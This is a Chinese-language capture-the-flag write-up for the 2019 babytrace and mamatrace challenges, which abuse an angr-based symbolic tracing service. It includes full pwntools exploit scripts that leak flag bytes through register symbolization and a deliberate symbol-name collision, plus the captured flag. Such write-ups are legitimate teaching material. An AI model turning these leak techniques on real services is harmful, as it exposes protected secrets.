1.babytrace題解
分析：
本題叫做"Program Interactive Tracing as a Symbolic Service" (PITASS)，能對(duì)服務(wù)器端的headerquery程序進(jìn)行符號(hào)化執(zhí)行追蹤。包含3個(gè)文件Dockerfile, headerquery和pitass.py。Dockerfile文件用于創(chuàng)建服務(wù)端的環(huán)境，沒(méi)什么用，headerquery是可運(yùn)行的elf文件，還有一個(gè)python腳本pitass.py。
pitass.py文件：
其實(shí)就是加載服務(wù)端的headerquery文件，對(duì)headerquery進(jìn)行符號(hào)執(zhí)行(只能單路徑，非傳統(tǒng)的符號(hào)執(zhí)行)。
###############################################################################
###############################################################################
####################################################################### WELCOME
############################################################################ TO
########################################################################### THE
####################################################################### PROGRAM
################################################################### INTERACTIVE
####################################################################### TRACING
########################################################################## AS A
###################################################################### SYMBOLIC
####################################################################### SERVICE
###############################################################################
###############################################################################
###############################################################################
%%%%%% %%% %%%%%%% % %%%%% %%%%%
% % % % % % % % % %
% % % % % % % %
%%%%%% % % % % %%%%% %%%%%
% % % %%%%%%% % %
% % % % % % % % %
% %%% % % % %%%%% %%%%%
This service empowers the everyhacker to utilize the cutting-edge angr
binary analysis framework! Fear not: though angr is daunting, this service
scopes the challenge to the use of angr purely for symbolic tracing.
Don't be scared!
# Greetz
It is important to stress that we stand on the shoulders of giants [1,2,3,4].
Much of angr's design, implementation, and optimization was inspired by
the insights in those papers. Anyone interested in the functionality,
implications, and failure modes of symbolic execution should read those
papers.
[1] KLEE: Unassisted and Automatic Generation of High-Coverage Tests
for Complex Systems Programs
[3] Billions and Billions of Constraints: Whitebox Fuzz Testing in Production
[4] Unleashing MAYHEM on Binary Code
[5] Enhancing Symbolic Execution with Veritesting
# Are you ready for the PITA?
Which binary do you want to trace?
1 <- false
2 <- headerquery
0 <- Done.
Choice: 2
Loading binary /bins/headerquery...
Traces:
What would you like to do?
1 <- Start a trace.
2 <- Resume a trace.
3 <- Delete a trace.
0 <- Done.
Choice: 1
Current size of input: 0
Input specification.
1 <- Add unconstrained symbolic variable.
2 <- Add constrained symbolic variable.
3 <- Add concrete value.
0 <- Done.
Choice: 0
What do?
1 <- Step
2 <- Dump stdin
3 <- Dump stdout
4 <- Dump stderr
5 <- Concretize register
6 <- Symbolize register
7 <- Print constraints
0 <- Done.
Choice:
pitass.py流程：
1.首先選擇load哪個(gè)文件，顯然選擇headerquery。
2.再選擇功能：trace、resume、delete。
3.當(dāng)首次執(zhí)行trace時(shí)，你可以選擇添加輸入。也就是給headerquery填充stdin，你可以設(shè)置具體值、約束的符號(hào)值(可以創(chuàng)建為BVS符號(hào)值但約束為具體輸入)或完全符號(hào)化的值。
4.設(shè)置好stdin之后，開(kāi)始追蹤程序。注意一點(diǎn)，如果給輸入4個(gè)符號(hào)字節(jié)，會(huì)報(bào)錯(cuò)"Assertion violation: This is a tracing interface, not a general symbolic exploration client!!!"，意思是只能有1個(gè)路徑是active，遇到分支只能走一條路徑，本程序只能跟蹤，并不是傳統(tǒng)的符號(hào)執(zhí)行（相關(guān)語(yǔ)句：assert len(simgr.active) == 1）。
5.接下來(lái)有很多功能（1）可以step單步執(zhí)行(一次一個(gè)代碼塊)；（2）可以dump stdin/stdout/stderr 來(lái)驗(yàn)證輸入設(shè)置。以下兩個(gè)功能可以讓我們控制執(zhí)行路徑。
(3)具體化寄存器：讀取指定寄存器的值，用Z3求出滿足條件的具體值，再寫(xiě)回寄存器，Z3每次返回的值可能不同。
(4)符號(hào)化寄存器：讀取指定寄存器的值，創(chuàng)建新的符號(hào)值并存入寄存器，并建立求解器約束，限定該符號(hào)值等于寄存器原先的值（只是符號(hào)化了，并沒(méi)有改變寄存器的值）。
(5)最后一個(gè)功能是可以打印求解器所有的約束。
headerquery文件：
讀取flag存入buf，在讀取4字節(jié)len，len先和0xff比較，再讀取buf[len]（eax=buf[len]），len再和2比較(若大于2則報(bào)錯(cuò)，若<=2則打印buf[len])。
利用：意味著只能泄露0，1，2字節(jié)，但是在執(zhí)行二進(jìn)制文件的任意點(diǎn)，我們都可以泄露寄存器的值(通過(guò)符號(hào)化寄存器功能)?？梢匀我庠O(shè)置len，到達(dá)puts("Checking input...");時(shí)，符號(hào)化eax寄存器，然后打印所有約束條件，即可得到buf[len]的值。
關(guān)鍵：需計(jì)算step多少次后會(huì)執(zhí)行eax=buf[len]，11次；打印約束條件需確定flag字節(jié)在哪一位。
腳本如下：
#!/usr/bin/env python
from pwn import *
def connect():
global p
p = remote("babytrace.quals2019.oooverflow.io", 5000)
def add_constrained(name, contents):
p.sendlineafter("Choice: ", "2") # Constrained
p.sendlineafter("name: ", name) # Name
p.sendlineafter("(in hex): ", contents) # Contents
def add_unconstrained(name, num_bytes):
p.sendlineafter("Choice: ", "1") # Unconstrained input
p.sendlineafter("name: ", name) # Name
p.sendlineafter("(in bytes): ", str(num_bytes)) # Bytes
def add_concrete(inp):
p.sendlineafter("Choice: ", "3") # Concrete input
p.sendlineafter(" (in hex): ", inp) # Concrete input
def symbolize_reg(reg):
p.sendlineafter("Choice: ", "6")
p.sendlineafter("Register name? ", reg)
def read_reg_val(reg):
symbolize_reg(reg)
p.sendlineafter("Choice: ", "7")
p.recvuntil("CONSTRAINTS: [<Bool ")
val = int(p.recvuntil(" ", drop=True), 16)
return val
def get_flag_char(i):
global p
connect()
#
# Setup
#
p.sendlineafter("Choice: ", "2")
p.sendlineafter("Choice: ", "1") # Start trace
add_concrete('{:02x}000000'.format(i)) #input len
p.sendlineafter("Choice: ", "0") # Done
p.sendlineafter("Choice: ", "1") # Step
p.sendlineafter("steps: ", "11") # Eax has been populated
char = chr(read_reg_val('eax'))
p.close()
return char
flag = ""
i = 0
while True:
flag += get_flag_char(i)
print(flag)
i += 1
2.mamatrace題解
分析：
pitas.py和Dockerfile文件和babytrace一樣，headerquery2跟headerquery相比少了（eax=buf[len]）這句泄露語(yǔ)句，很明顯只能利用flagleak來(lái)求。
flagleak文件：
只能讀取flag的前9個(gè)字節(jié)，對(duì)flag讀取字節(jié)len也就是r12有限制。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned __int8 len; // r12
unsigned __int64 i; // rbx
__int64 v7; // [rsp+8h] [rbp-128h]
char buf[264]; // [rsp+10h] [rbp-120h]
unsigned __int64 v9; // [rsp+118h] [rbp-18h]
v9 = __readfsqword(0x28u);
v3 = open("/flag", 0, envp);
read(v3, buf, 0x100uLL);
read(0, &v7, 8uLL);
len = v7;
puts("Checking input...");
if ( len > 9u )
{
puts("OOO is unwilling to reveal that much of the flag at this time.");
exit(1);
}
for ( i = 0LL; i < len; ++i )
printf("Flag byte %lld: %c\n", i, (unsigned int)buf[i]);
return 0;
}
思路：可不可以在r12(len)比較完后修改r12(len)的值呢？
pitas.py再分析：
#add_unconstrained()，使輸入符號(hào)化，不加約束
def add_unconstrained():
stdin_name = input("Variable name: ")
stdin_len = int(input("Variable length (in bytes): "))
stdin_var = claripy.BVS(stdin_name, stdin_len*8, explicit_name=True)
s.posix.stdin.write(None, stdin_var)
#add_constrained()，使輸入符號(hào)化，添加約束使輸入等于指定值
def add_constrained():
stdin_name = input("Variable name: ")
stdin_str = bytes.fromhex(input("Variable contents (in hex): "))
stdin_len = len(stdin_str)
stdin_var = claripy.BVS(stdin_name, stdin_len*8, explicit_name=True)
s.posix.stdin.write(None, stdin_var)
s.add_constraints(stdin_var == stdin_str)
#add_concrete()，使輸入等于指定的具體值
def add_concrete():
stdin_str = bytes.fromhex(input("Value (in hex): "))
stdin_var = claripy.BVV(stdin_str)
s.posix.stdin.write(None, stdin_var)
注意這里的explicit_name=True提醒了我，查閱help后可以看到，定義explicit_name=True之后，符號(hào)值的名字就是用戶定義的那個(gè)名字，不再是系統(tǒng)分配的，這很不同尋常：
:param explicit_name: Set to True to prevent an identifier from appended to the name to ensure uniqueness.
:param bool explicit_name: If False, an identifier is appended to the name to ensure uniqueness.
所以這和唯一性有關(guān)，angr使用Single Static Assignment來(lái)管理變量(靜態(tài)編號(hào)？每次編號(hào)都一樣？可以猜出來(lái)？)，一般某個(gè)變量只會(huì)賦值一次，這里我們可以試試將一個(gè)變量命名為angr已經(jīng)使用過(guò)的名字。
首先要找到r12在angr中的命名，可執(zhí)行到0x85e(i被賦值為0之前，即將開(kāi)始輸出前l(fā)en長(zhǎng)度的flag)，使用babytrace中的寄存器讀方法(啥方法??？)，發(fā)現(xiàn)r12的符號(hào)名是r12_52_64。
再重新開(kāi)始，輸入具體值09和約束到0x60的符號(hào)值r12_52_64。執(zhí)行到0x85e時(shí)調(diào)用symbolize_register()來(lái)符號(hào)化r12，這樣，兩個(gè)符號(hào)值產(chǎn)生沖突了。最后執(zhí)行到0x865后調(diào)用concretize_register()來(lái)具體化r12，具體化輸出的值是我們之前定義的0x60而不是09，這樣r12就變成的具體值0x60，這長(zhǎng)度足以輸出flag了。
腳本如下：
#!/usr/bin/env python
import logging
from pwn import *
def connect():
global p
p = remote("mamatrace.quals2019.oooverflow.io", 5000)
#p._logger.level = logging.DEBUG
def add_constrained(name, contents):
p.sendlineafter("Choice: ", "2") # Constrained
p.sendlineafter("name: ", name) # Name
p.sendlineafter("(in hex): ", contents) # Contents
def add_unconstrained(name, num_bytes):
p.sendlineafter("Choice: ", "1") # Unconstrained input
p.sendlineafter("name: ", name) # Name
p.sendlineafter("(in bytes): ", str(num_bytes)) # Bytes
def add_concrete(inp):
p.sendlineafter("Choice: ", "3") # Concrete input
p.sendlineafter(" (in hex): ", inp) # Concrete input
def symbolize_reg(reg):
p.sendlineafter("Choice: ", "6")
p.sendlineafter("Register name? ", reg)
def concretize_reg(reg):
p.sendlineafter("Choice: ", "5")
p.sendlineafter("Register name? ", reg)
def read_reg_val(reg):
symbolize_reg(reg)
p.sendlineafter("Choice: ", "7")
p.recvuntil("CONSTRAINTS: [<Bool ")
val = int(p.recvuntil(" ", drop=True), 16)
return val
def print_constraints():
p.sendlineafter("Choice: ", "7")
print(p.recvuntil("Current binary"))
def make_all_regs_symbolic():
for reg in ['rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi', 'r12']: #, 'rsp', 'rbp']:
symbolize_reg(reg)
def single_step_until_addr(addr, symbolize_everything=True):
cur_addr = 0
while cur_addr != addr:
if symbolize_everything:
make_all_regs_symbolic()
# printf can't handle symbolic rdi
if cur_addr == 0x1064e80:
concretize_reg('rdi')
p.sendlineafter("Choice: ", "1")
p.sendlineafter("steps: ", "1")
p.recvuntil("SimState @ ")
cur_addr = int(p.recvuntil(">",drop=True),16)
print("Current Addr: " + hex(cur_addr))
print_constraints()
print(p.recvuntil("do?", p.sendlineafter("Choice: ", "3")))
connect()
p.sendlineafter("Choice: ", "2")
p.sendlineafter("Choice: ", "1") # Start trace
add_concrete('09')
add_constrained('r12_52_64', "60")
p.sendlineafter("Choice: ", "0") # Done
single_step_until_addr(0x40085e, symbolize_everything=False)
symbolize_reg('r12')
single_step_until_addr(0x400865, symbolize_everything=False)
concretize_reg('r12')
# Step 5000
p.interactive()
"""
STDOUT: b'Checking input...\nFlag byte 0: O\nFlag byte 1: O\nFlag byte 2: O\nFlag byte 3: {\nFlag byte 4: b\nFlag byte 5: r\nFlag byte 6: u\nFlag byte 7: m\nFlag byte 8: l\nFlag byte 9: e\nFlag byte 10: y\nFlag byte 11: \nFlag byte 12: w\nFlag byte 13: a\nFlag byte 14: s\nFlag byte 15: \nFlag byte 16: r\nFlag byte 17: i\nFlag byte 18: g\nFlag byte 19: h\nFlag byte 20: t\nFlag byte 21: ,\nFlag byte 22: \nFlag byte 23: h\nFlag byte 24: a\nFlag byte 25: s\nFlag byte 26: h\nFlag byte 27: \nFlag byte 28: c\nFlag byte 29: o\nFlag byte 30: n\nFlag byte 31: s\nFlag byte 32: i\nFlag byte 33: n\nFlag byte 34: g\nFlag byte 35: \nFlag byte 36: i\nFlag byte 37: s\nFlag byte 38: \nFlag byte 39: a\nFlag byte 40: w\nFlag byte 41: e\nFlag byte 42: s\nFlag byte 43: o\nFlag byte 44: m\nFlag byte 45: e\nFlag byte 46: !\nFlag byte 47: }\nFlag byte 48: \n\nFlag byte 49: \x00\nFlag byte 50: \x00\nFlag byte 51: \x00\nFlag byte 52: \x00\nFlag byte 53: \x00\nFlag byte 54: \x00\nFlag byte 55: \x00\nFlag byte 56: \x00\nFlag byte 57: \x00\nFlag byte 58: \x00\nFlag byte 59: \x00\nFlag byte 60: \x00\nFlag byte 61: \x00\nFlag byte 62: \x00\nFlag byte 63: \x00\nFlag byte 64: \x00\nFlag byte 65: \x00\nFlag byte 66: \x00\nFlag byte 67: \x00\nFlag byte 68: \x00\nFlag byte 69: \x00\nFlag byte 70: \x00\nFlag byte 71: \x00\nFlag byte 72: \x00\nFlag byte 73: \x00\nFlag byte 74: \x00\nFlag byte 75: \x00\nFlag byte 76: \x00\nFlag byte 77: \x00\nFlag byte 78: \x00\nFlag byte 79: \x00\nFlag byte 80: \x00\nFlag byte 81: \x00\nFlag byte 82: \x00\nFlag byte 83: \x00\nFlag byte 84: \x00\nFlag byte 85: \x00\nFlag byte 86: \x00\nFlag byte 87: \x00\nFlag byte 88: \x00\nFlag byte 89: \x00\nFlag byte 90: \x00\nFlag byte 91: \x00\nFlag byte 92: \x00\nFlag byte 93: \x00\nFlag byte 94: \x00\nFlag byte 95: \x00\n'
OOO{brumley was right, hash consing is awesome!}
"""
"""
- 首先第一次運(yùn)行程序，斷在0x85e，使r12符號(hào)化，記錄該符號(hào)化變量的符號(hào)名r12_54_64。
- 再次運(yùn)行程序，輸入時(shí)提前使用r12_54_64這個(gè)符號(hào)名。
- 斷在0x85e，使r12符號(hào)化，這樣符號(hào)名重復(fù)導(dǎo)致約束重復(fù)了，為防止出現(xiàn)多個(gè)active路徑，必須在下一個(gè)step就修改。
- 步進(jìn)step到0x88a就具體化r12，保證不會(huì)出現(xiàn)多個(gè)active路徑。
- 執(zhí)行到最后，從STDOUT讀出flag即可。
"""
